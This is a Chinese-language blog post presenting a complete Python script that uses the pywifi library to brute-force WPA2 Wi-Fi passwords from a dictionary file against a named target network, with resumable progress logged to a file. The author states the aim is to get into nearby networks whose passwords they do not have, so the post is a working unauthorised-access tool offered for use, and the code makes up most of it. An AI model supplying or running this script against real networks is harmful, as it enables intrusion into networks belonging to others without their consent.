python使用字典暴力解析wifi密码

前言

最近无wifi可用,搜到了很多高质量但是没有密码的WiFi,我在想应该可以用python调用常见的wifi字典包来暴力破解一下这些WiFi,也许可以成功

原理

使用pip install pywifi命令安装pywifi

使用它调用本机网卡,设置wifi加密方式,对字典包扫描密码逐个尝试

扫描失败的密码会被放入error.txt文件,当意外中断wifi扫描时可以立刻从上次扫描失败的点重新开始尝试

尝试了一下也就用常见的wifi密码字典包,尝试下,大概有几十万条,如果让0-9,a-z随机组合下那是不可能的,因为组合的种类有百亿条,千万年都跑不完

源码

复制代码
import pywifi
from pywifi import const
import time
errorList=[]
# WiFi连接函数
def connect_wifi(ssid, password):
    wifi = pywifi.PyWiFi()  # 创建一个WiFi对象
    iface = wifi.interfaces()[0]  # 获取第一个无线网卡接口

    iface.disconnect()  # 断开当前WiFi连接

    time.sleep(1)  # 等待1秒

    profile = pywifi.Profile()  # 创建WiFi配置文件
    profile.ssid = ssid  # 设置WiFi名称(SSID)
    profile.auth = const.AUTH_ALG_OPEN  # 设置WiFi加密算法(这里使用开放式认证)
    profile.akm.append(const.AKM_TYPE_WPA2PSK)  # 设置WiFi身份验证算法(这里使用WPA2-PSK)
    profile.cipher = const.CIPHER_TYPE_CCMP  # 设置WiFi加密方式(这里使用CCMP加密)

    profile.key = password  # 设置WiFi密码

    # 删除所有WiFi配置文件
    iface.remove_all_network_profiles()

    # 添加新的WiFi配置文件
    tmp_profile = iface.add_network_profile(profile)
    iface.connect(tmp_profile)  # 连接WiFi

    time.sleep(3)  # 等待3秒,等待连接成功

    if iface.status() == const.IFACE_CONNECTED:  # 判断是否连接成功
        print(f"成功连接到WiFi:{ssid},密码为:{password}")
        return True
    else:
        print(f"无法连接到WiFi:{ssid},密码为:{password}")
        # 将字典保存到文件
        with open('error.txt', 'a') as f:
                f.write(password + '\n')
        return False

# 读取字典文件
with open('dictionary.txt', 'r') as f:
    dictionary = f.read().splitlines()
with open('error.txt', 'r') as f:
    errorDictionary = f.read().splitlines()
ssid = '4F'  # 替换为目标WiFi的SSID
realDict=[]
for i in dictionary:
    if i not in errorDictionary:
        realDict.append(i)
# 尝试字典中的每个密码
for password in realDict:
    if connect_wifi(ssid, password):
        break  # 如果成功连接,停止尝试密码
相关推荐
m0_596749095 小时前
JavaScript中手动实现一个new操作符的底层逻辑
jvm·数据库·python
DTAS尺寸公差分析软件5 小时前
DTAS3D v13.0 三维尺寸公差分析软件可申请试用
python·尺寸公差分析·三维公差分析·公差仿真软件·尺寸链计算
DTAS尺寸公差分析软件5 小时前
DTAS 3D公差分析软件最新版本介绍
python·3d·尺寸公差分析·尺寸链计算·尺寸工程·尺寸链校核软件·公差仿真分析
Hali_Botebie5 小时前
【图卷积网络】GCN是AXΘ 和CNN是AX
网络·人工智能·cnn
PieroPc5 小时前
CAMWATCH — 局域网摄像头监控系统 Fastapi + html
前端·python·html·fastapi·监控
IpdataCloud5 小时前
高并发场景下IP数据接口怎么选?从QPS到离线库的完整选型指南
网络·网络协议·tcp/ip
feasibility.5 小时前
反爬十层妖塔:现代爬虫攻防的立体战争
爬虫·python·科技·scrapy·rust·go·硬件
十八旬5 小时前
快速安装ClaudeCode完整指南
开发语言·windows·python·claude
CableTech_SQH6 小时前
企业园区网络突然中断排查时间影响生产?综合布线运维管理解决方案分析
网络
難釋懷6 小时前
Redis网络模型-IO多路复用模型-poll模式
网络·数据库·redis